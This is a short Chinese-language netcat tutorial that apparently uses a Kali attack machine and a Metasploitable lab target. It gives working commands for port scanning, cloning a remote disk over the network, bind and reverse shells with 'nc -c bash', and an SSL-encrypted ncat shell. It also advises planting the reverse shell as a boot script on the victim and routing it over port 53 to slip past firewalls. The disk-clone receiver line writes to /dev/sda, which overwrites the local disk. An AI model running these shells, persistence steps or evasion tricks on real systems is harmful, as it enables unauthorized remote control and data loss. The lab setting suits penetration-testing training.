**
端口扫描
**
root@kali:~# nc -nvz 192.168.1.110 1-65535
root@kali:~# nc -nvz 192.168.1.110 1-1024 //-z扫描模式 默认情况下,使用的是tcp协议探测,探测到也是tcp端口。
如果说想探测udp端口 nc -nvzu 加u
并不是每个扫描器扫描的结果都是正确的,因为过滤器或者防火墙会影响扫描结果。
**
远程克隆硬盘
**
电子取证的重要工作,当你怀疑对方服务器被入侵,你第一时间对对方硬盘做完整备份。nc的dd命令能够对硬盘块级别的备份,他会把磁盘上的每一个扇区、每一个位都会记录下来,即使文件在你电脑上删除,但是磁盘上是不会删掉的。
• A: root@kali:~# nc -lp 4444 | dd of=/dev/sda
• B: root@metasploitable:~# dd if=/dev/sda | nc -nv 192.168.1.100 4444 -q 1
• 远程电⼦子取证,可以将目标服务器硬盘远程复制,或者内存。
**
远程控制
**
root@kali:~# nc -lp 333 -c bash //打开333端口 把shell传给 接入333端口的客户端
root@kali:~# nc -vn 192.168.83.130 3333
所列出来的内容就是开放端口的机器的文件内容。在当前窗口输入的所有命令,都是在操作开放端口的那一台机器。
注意:
我们攻击机去连接被攻击机的时候,由于防火墙的原因我们可能连接不到被攻击机的端口,这时候我们怎么办?我们可以让被攻击机去连接攻击机开放的端口。也就是说这时候攻击机开放端口,被攻击机连接。
攻击机:
nc -pl 333
被攻击机:
nc -vn 攻击机ip 333 -c bash
那么我们如何让给攻击机启动这条命令?我们可以把这条命令制作成脚本,让被攻击机一开机就启动命令。通常网络管理员会把内网服务器通向外网的访问端口禁止掉,但是也会开放一些端口比如dns的53端口,这时候我们就侦听53端口,或者开放54端口。如果安全做的非常好,他可能在内网里做一台机器做dns服务器。
1.Nc缺乏加密和⾝身份验证的能力
2.Ncat包含于nmap⼯工具包中
#allow:允许访问的主机
A:root@kali:~# ncat -c bash --allow 192.168.1.110 -vnl 333 --ssl //allow允许某个IP连接,ssl进行加密
B:root@metasploitable:~# ncat -nv 192.168.1.100 333 --ssl